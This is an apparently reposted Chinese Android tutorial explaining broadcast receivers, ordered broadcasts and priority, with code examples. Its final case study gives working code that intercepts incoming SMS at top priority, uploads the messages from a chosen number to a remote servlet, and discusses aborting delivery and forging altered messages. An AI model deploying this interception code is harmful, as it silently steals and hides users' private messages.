网站建设互联网排名,九号公司,家庭宽带做网站服务器吗,wordpress下载整站源码今天来看一下Android中的广播机制#xff0c;我们知道广播Broadcast是Android中的四大组件之一#xff0c;可见他的重要性了#xff0c;当然它的用途也很大的#xff0c;比如一些系统的广播#xff1a;电量低、开机、锁屏等一些操作都会发送一个广播#xff0c;具体的And… 今天来看一下Android中的广播机制我们知道广播Broadcast是Android中的四大组件之一可见他的重要性了当然它的用途也很大的比如一些系统的广播电量低、开机、锁屏等一些操作都会发送一个广播具体的Android系统中的广播可以参见我的另外一篇博客:http://blog.csdn.net/jiangwei0910410003/article/details/17218985. 下面就来详细讲解一下广播机制 广播被分为两种不同的类型“普通广播Normal broadcasts”和“有序广播Ordered broadcasts”。普通广播是完全异步的可以在同一时刻逻辑上被所有广播接收者接收到消息传递的效率比较高但缺点是接收者不能将处理结果传递给下一个接收者并且无法终止广播Intent的传播然而有序广播是按照接收者声明的优先级别声明在intent-filter元素的android:priority属性中数越大优先级别越高,取值范围:-1000到1000。也可以调用IntentFilter对象的setPriority()进行设置被接收者依次接收广播。如A的级别高于B,B的级别高于C,那么广播先传给A再传给B最后传给C。A得到广播后可以往广播里存入数据当广播传给B时,B可以从广播中得到A存入的数据。 Context.sendBroadcast() 发送的是普通广播所有订阅者都有机会获得并进行处理。 Context.sendOrderedBroadcast() 发送的是有序广播系统会根据接收者声明的优先级别按顺序逐个执行接收者前面的接收者有权终止广播(BroadcastReceiver.abortBroadcast())如果广播被前面的接收者终止后面的接收者就再也无法获取到广播。对于有序广播前面的接收者可以将处理结果存放进广播Intent然后传给下一个接收者。 广播接收者BroadcastReceiver用于接收广播Intent广播Intent的发送是通过调用Context.sendBroadcast()、Context.sendOrderedBroadcast()来实现的。通常一个广播Intent可以被订阅了此Intent的多个广播接收者所接收这个特性跟JMS中的Topic消息接收者类似。要实现一个广播接收者方法如下 第一步定义广播接收者继承BroadcastReceiver并重写onReceive()方法。 public class IncomingSMSReceiver extendsBroadcastReceiver {Override public void onReceive(Contextcontext, Intentintent) {}
} 第二步订阅感兴趣的广播Intent订阅方法有两种 第一种使用代码进行订阅(动态订阅) IntentFilter filter newIntentFilter(android.provider.Telephony.SMS_RECEIVED);
IncomingSMSReceiver receiver newIncomingSMSReceiver();
registerReceiver(receiver, filter); 第二种在AndroidManifest.xml文件中的application节点里进行订阅(静态订阅) receiver android:name.IncomingSMSReceiverintent-filteraction android:nameandroid.provider.Telephony.SMS_RECEIVED//intent-filter
/receiver 下面看一下动态广播订阅和静态广播订阅的却别 静态订阅广播又叫常驻型广播当你的应用程序关闭了如果有广播信息来你写的广播接收器同样的能接受到他的注册方式就是在你的应用程序中的AndroidManifast.xml进行订阅的。 动态订阅广播又叫非常驻型广播当应用程序结束了广播自然就没有了比如你在activity中的onCreate或者onResume中订阅广播同时你必须在onDestory或者onPause中取消广播订阅。不然会报异常这样你的广播接收器就一个非常驻型的了。 这里面还有一个细节那就是这两种订阅方式在发送广播的时候需要注意的是动态注册的时候使用的是隐式intent方式的所以在发送广播的时候需要使用隐式Intent去发送不然是广播接收者是接收不到广播的这一点要注意。但是静态订阅的时候因为在AndroidMainfest.xml中订阅的所以在发送广播的时候使用显示Intent和隐式Intent都可以(当然这个只针对于我们自己定义的广播接收者)所以以防万一我们一般都采用隐式Intent去发送广播。 下面看一下例子 看一下项目结构 看一下静态订阅广播: package com.broadcast.demo;import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;import com.example.androidbroadcastdemo.R;/*** 静态订阅广播* author weijiang204321**/
public class StaticRegisterBroadcastActivity extends Activity {Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);Button btn (Button)findViewById(R.id.btn);btn.setOnClickListener(new OnClickListener(){Overridepublic void onClick(View v) {//使用静态的方式注册广播可以使用显示意图进行发送广播Intent broadcast new Intent(com.broadcast.set.broadcast);sendBroadcast(broadcast,null);}});}} 在AndroidMainfest.xml中订阅: ?xml version1.0 encodingutf-8?
manifest xmlns:androidhttp://schemas.android.com/apk/res/androidpackagecom.example.androidbroadcastdemoandroid:versionCode1android:versionName1.0 uses-sdkandroid:minSdkVersion8android:targetSdkVersion18 /!-- 权限 --uses-permission android:nameandroid.permission.RECEIVE_SMS/uses-permission android:nameandroid.permission.INTERNET/uses-permission android:nameandroid.permission.SEND_SMS/uses-permission android:nameandroid.permission.READ_PHONE_STATE /applicationandroid:allowBackuptrueandroid:icondrawable/ic_launcherandroid:labelstring/app_nameandroid:themestyle/AppTheme activityandroid:namecom.broadcast.demo.StaticRegisterBroadcastActivityandroid:labelstring/app_name intent-filteraction android:nameandroid.intent.action.MAIN /category android:nameandroid.intent.category.LAUNCHER //intent-filter/activity!-- 无序广播注册START --receiver android:namecom.broadcast.receiver.UnSortBroadcastReceiverintent-filter action android:namecom.broadcast.demo.mybroadcast//intent-filter/receiver!-- 无序广播注册END --!-- 有序广播的注册START --receiver android:namecom.broadcast.receiver.SortBroadcastReceiverAintent-filter android:priority999action android:namecom.broadcast.set.broadcast//intent-filter/receiver!-- 接收短信广播 --receiver android:namecom.broadcast.receiver.SortBroadcastReceiverBintent-filter android:priority1000action android:nameandroid.provider.Telephony.SMS_RECEIVED//intent-filter/receiver!-- 有序广播的注册END --!-- 上传短信内容的Service --service android:namecom.broadcast.service.UploadSMSServiceintent-filter action android:namecom.broadcast.service.uploadsmsservice//intent-filter/service/application/manifest 先不要管其他的内容了后面会讲到这里只关注静态广播的注册 !-- 无序广播注册START --receiver android:namecom.broadcast.receiver.UnSortBroadcastReceiverintent-filter action android:namecom.broadcast.demo.mybroadcast//intent-filter/receiver
!-- 无序广播注册END -- 下面来看一下广播的接收者: package com.broadcast.receiver;import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;/*** 广播接收者* author weijiang204321**/
public class UnSortBroadcastReceiver extends BroadcastReceiver {Overridepublic void onReceive(Context context, Intent intent) {Log.e(Intent_Action:,intent.getAction());}}
在广播接收者中的onReceive方法中的逻辑很简单就是打印Action的内容。 运行程序结果很简单这里就不上图片了。 下面来看一下动态订阅 package com.broadcast.demo;import android.app.Activity;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Bundle;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;import com.broadcast.receiver.UnSortBroadcastReceiver;
import com.example.androidbroadcastdemo.R;/*** 使用动态的方式注册广播* author weijiang204321**/
public class DynamicRegisterBroadcastActivity extends Activity {public static final String NEW_LIFEFORM_DETECTED com.dxz.broadcasttest.NEW_LIFEFORM;protected UnSortBroadcastReceiver receiver;Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);Button btn0 (Button) findViewById(R.id.btn);btn0.setOnClickListener(new OnClickListener() {public void onClick(View v) {//发送广播Intent it new Intent(NEW_LIFEFORM_DETECTED);sendBroadcast(it);}});}Overrideprotected void onResume() {super.onResume();//注册广播IntentFilter counterActionFilter new IntentFilter(NEW_LIFEFORM_DETECTED);receiver new UnSortBroadcastReceiver();registerReceiver(receiver, counterActionFilter);}Overrideprotected void onPause() {super.onPause();//取消广播unregisterReceiver(receiver);}
}这里我们是在onResume中进行订阅广播在onPause中取消订阅广播。 AndroidMainfest.xml中将启动的Activity改成DynamicRegisterBroadcastActivity其他的内容不需要修改运行程序打印结果很简单这里就不上图了。 下面来看一下有序广播和无序广播 这个我们在开始的时候已经说到了下面来看一下无序广播: 首先我们定义两个广播接收者: 第一个广播接收者: package com.broadcast.receiver;import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;/*** 广播接收者A* author weijiang204321**/
public class SortBroadcastReceiverA extends BroadcastReceiver{Overridepublic void onReceive(Context context, Intent intent) {Log.e(Demo:,广播接收者A);}}第二个广播接收者: package com.broadcast.receiver;import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;/*** 广播接收者B* author weijiang204321**/
public class SortBroadcastReceiverB extends BroadcastReceiver{Overridepublic void onReceive(Context context, Intent intent) {Log.e(Demo:,广播B);}} 在AndroidMainfest.xml中订阅广播 receiver android:namecom.broadcast.receiver.SortBroadcastReceiverAintent-filter android:priority999action android:namecom.broadcast.set.broadcast//intent-filter
/receiverreceiver android:namecom.broadcast.receiver.SortBroadcastReceiverBintent-filter android:priority1000action android:namecom.broadcast.set.broadcast//intent-filter
/receiver运行结果: 运行结果有点奇怪为什么是接收者B在前面接收者A在后面原因就是我们在AndroidMainfest.xml中订阅广播的时候在intent-filter设置了android:priority属性值值越大优先级越高接收者B的优先级是1000接收者A的优先级是999,所以是B先接收到广播然后A才接收到但是接收者B和接收者A之间没有联系也不能有交互的因为是这是无序广播是异步的我们可以做个试验就是在B中的onReceiver方法中添加代码 abortBroadcast();//终止此次广播的传输 运行结果 我们可以看到提示错误就是non-ordered broadcast无序广播不允许终止广播其实终止也没有用因为接收者A还是接收到广播了。 下面来看一下有序广播代码需要做一下修改 首先是在发送广播的时候: Intent broadcast new Intent(com.broadcast.set.broadcast);
sendOrderedBroadcast(broadcast,null);然后在B接收者中的添加终止广播的方法: abortBroadcast(); 其他的代码不需要修改运行结果 只有B接收者了A接收者没有接收到广播了因为在B接收者中将广播给终止了后面的接收者都接受不到了。 下面在修改一下代码 接收者B package com.broadcast.receiver;import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;/*** 广播接收者B* author weijiang204321**/
public class SortBroadcastReceiverB extends BroadcastReceiver{Overridepublic void onReceive(Context context, Intent intent) {Log.e(Demo:,广播接收者B);Bundle bundle new Bundle();bundle.putString(next_receiver, 下一个广播接收者);setResultExtras(bundle);}}
B接收到广播后存入一些值传给下一个接收者。 接收者A的代码 package com.broadcast.receiver;import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;/*** 广播接收者A* author weijiang204321**/
public class SortBroadcastReceiverA extends BroadcastReceiver{Overridepublic void onReceive(Context context, Intent intent) {Log.e(Demo:,广播接收者A);Bundle bundle getResultExtras(true);String content bundle.getString(next_receiver);Log.e(Demo:,content);}}
运行结果如下 接收者A收到了上一个接收者B传递的信息这个信息可以保留到后面的所有接收者直到广播终止。 上面讲到的就是有序广播的特点可以看出是一个同步的动作接收者之间可以进行数据的交互(上一个传递数据给下一个)也可以控制广播的终止。 下面来做一个案例就是网上很多人弄过的短信拦截 系统在收到短信的时候会发送一个android.provider.Telephony.SMS_RECEIVED这样的广播而且这是一个有序的广播所以我们就可以拦截了这条短信因为系统中的短信接收者的订阅优先级不是1000最高的所以我们可以自己定义一个短信接收者将订阅优先级设置成1000这样我们就可以最先获取到短信内容然后将截取到知道号码的短信内容上传到服务器上进行保存然后终止广播。让系统接收不到这条短信。 这里面我们还需要了解的技术就是短信内容的获取这个我们在代码中解释 下面来看一下我们定义的短信接收者: package com.broadcast.receiver;import java.text.SimpleDateFormat;
import java.util.Date;
import android.annotation.SuppressLint;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;
import android.util.Log;
import com.broadcast.service.UploadSMSService;/*** 广播接收者A* author weijiang204321**/
public class SortBroadcastReceiverA extends BroadcastReceiver{SuppressLint(SimpleDateFormat)Overridepublic void onReceive(Context context, Intent intent) {//获取短信的相关信息,使用字段pdusObject[] pdus (Object[]) intent.getExtras().get(pdus);StringBuilder content new StringBuilder();String receiveTime ;String senderNumber ;for(Object p : pdus){byte[] pdu (byte[]) p;SmsMessage message SmsMessage.createFromPdu(pdu);content.append(message.getMessageBody());Date date new Date(message.getTimestampMillis());SimpleDateFormat format new SimpleDateFormat(yyyy-MM-dd HH:mm:ss);receiveTime format.format(date);senderNumber message.getOriginatingAddress();}Log.e(Demo:,上传短信内容是:content.toString());Log.e(Demo:,接收短信的时间是receiveTime);Log.e(Demo:,发送短信的号码是:senderNumber);//拦截的号码是:18910958627,注意前面还有86是中国地区的编号if(8618910958627.equals(senderNumber)){//拦截成功 ,上传信息Intent service new Intent(context,UploadSMSService.class);service.putExtra(content, content.toString());service.putExtra(receiveTime,receiveTime);service.putExtra(senderNumber, senderNumber);context.startService(service);}}}
在onReceive方法中我们通过intent中的Bundle获取短信的相关信息。 下面在看一下上传短信信息的服务Service: package com.broadcast.service;import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;import android.app.Service;
import android.content.Intent;
import android.os.IBinder;/*** 上传短信内容的service* author weijiang204321**/
public class UploadSMSService extends Service{Overridepublic IBinder onBind(Intent intent) {return null;}Overridepublic int onStartCommand(Intent intent, int flags, int startId) {//获取短信内容和接收时间发送者的号码final String content intent.getStringExtra(content);final String receiveTime intent.getStringExtra(receiveTime);final String senderNumber intent.getStringExtra(senderNumber);new Thread(){Overridepublic void run(){sendSMS(content,receiveTime,senderNumber);//上传完成之后就结束servicestopSelf();}}.start();return super.onStartCommand(intent, flags, startId);}/*** 上传短信内容* param content* param receiveTime* param senderNumber* return*/private boolean sendSMS(String content, String receiveTime, String senderNumber) {try{String params content URLEncoder.encode(content, UTF-8)receivetime receiveTime sendernumber senderNumber;byte[] entity params.getBytes();String path http://10.2.86.33:8080/ReceiveSMSContent/ReceiveSMSServlet;HttpURLConnection conn (HttpURLConnection) new URL(path).openConnection();conn.setConnectTimeout(5000);conn.setRequestMethod(POST);conn.setDoOutput(true);conn.setRequestProperty(Content-Type, application/x-www-form-urlencoded);conn.setRequestProperty(Content-Length, String.valueOf(entity.length));conn.getOutputStream().write(entity);if(conn.getResponseCode() 200){return true;}}catch (Exception e) {e.printStackTrace();}return false;}}
这个服务的逻辑也很简单的在获取到短信信息的时候将内容进行上传。 最后不能忘了在AndroidMainfest.xml中添加权限: uses-permission android:nameandroid.permission.RECEIVE_SMS/
uses-permission android:nameandroid.permission.INTERNET/订阅短信广播: receiver android:namecom.broadcast.receiver.SortBroadcastReceiverAintent-filter android:priority999action android:nameandroid.provider.Telephony.SMS_RECEIVED//intent-filter
/receiver 当然这里还需要有一个短信内容的接收服务端,在服务端定义一个Servlet来接受数据具体的服务端的环境搭建自己上网搜索相关资料进行搭建: package com.servlet.receivesms;import java.io.IOException;import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;public class ReceiveSMSServlet extends HttpServlet{private static final long serialVersionUID 1L;Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp)throws ServletException, IOException {req.setCharacterEncoding(utf-8);String content req.getParameter(content);String receiveTime req.getParameter(receivetime);String phoneNumber req.getParameter(sendernumber);System.out.println(发送内容:content);System.out.println(发送时间:receiveTime);System.out.println(发送号码:phoneNumber);super.doGet(req, resp);}Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp)throws ServletException, IOException {super.doPost(req, resp);}}
测试结果客户端拦截的号码是18910958627注意前面有86是中国区域的编码服务端接收数据为: 这样就表示截取短信内容成功并且成功上传到服务器上了。 对于上面的短信拦截的功能还有待加强就是现在想把短信的内容拦截下来进行篡改然后再发给下一个接收者? 方案一:在我们定义的短信广播接收者中我们能够从intent中的Bundle中通过keypdus来获取短信内容的那么我们可以自己从新组建一个新的Bundle在这个Bundle中存入我们篡改的信息然后替换之前的Bundle 问题:实施了但是问题是Bundle是替换不了的不知道是什么原因 方案二:由于第一种方案的失败导致了我从新想到一个方案就是截取短信内容之后终止此次广播然后发送一条短信这时候短信的内容为我们篡改的内容但是这里需要注意的是要做判断因为我们定义的短信接收者的优先级最高所以我们发送篡改后的短信又被我们的短信接收者给拦截了但是我们是不想这样的所以要做个判断这个很简单的使用SharePerenced存入一个boolean值就行了。 问题:本来以为这种方案是完美了但是问题是发送信息的时候系统提供的方法中的参数是接收者号码,发送者号码,短信内容,还有其他的参数就不解释了这很简单呀我们现在正好需要这三个参数立马传递进去结果是收取不到短信查看文档发现那个发送者号码的参数是短信服务中心的号码(也不知道什么意思)当把它设置成null的时候短信就可以发出去了但是设置成null的话就不能说是谁发的短信了没有意义呀 现在很纠结问题还没有解决如果有哪位大神有好的方法请说明小弟不慎感激 总结: 在Android中程序的响应Responsive被活动管理器ActivityManager和窗口管理器Window Manager这两个系统服务所监视。当BroadcastReceiver在10秒内没有执行完毕Android会认为该程序无响应。所以在BroadcastReceiver里不能做一些比较耗时的操作否侧会弹出ANRApplication No Response的对话框。如果需要完成一项比较耗时的工作应该通过发送Intent给Service由Service来完成。而不是使用子线程的方法来解决因为BroadcastReceiver的生命周期很短在onReceive()执行后BroadcastReceiver 的实例就会被销毁子线程可能还没有结束BroadcastReceiver就先结束了。如果BroadcastReceiver结束了它的宿主进程还在运行那么子线程还会继续执行。但宿主进程此时很容易在系统需要内存时被优先杀死因为它属于空进程没有任何活动组件的进程。 public class IncomingSMSReceiver extendsBroadcastReceiver {Override public void onReceive(Contextcontext, Intentintent) {//发送Intent启动服务由服务来完成比较耗时的操作Intent service new Intent(context,XxxService.class);context.startService(service);}
} 每次广播消息到来时都会创建BroadcastReceiver实例并执行onReceive() 方法。 所以上面的短信内容上传到服务器上的逻辑功能不能在广播中执行需要开启一个服务进行上传。 转载于:https://www.cnblogs.com/roccheung/p/5797391.html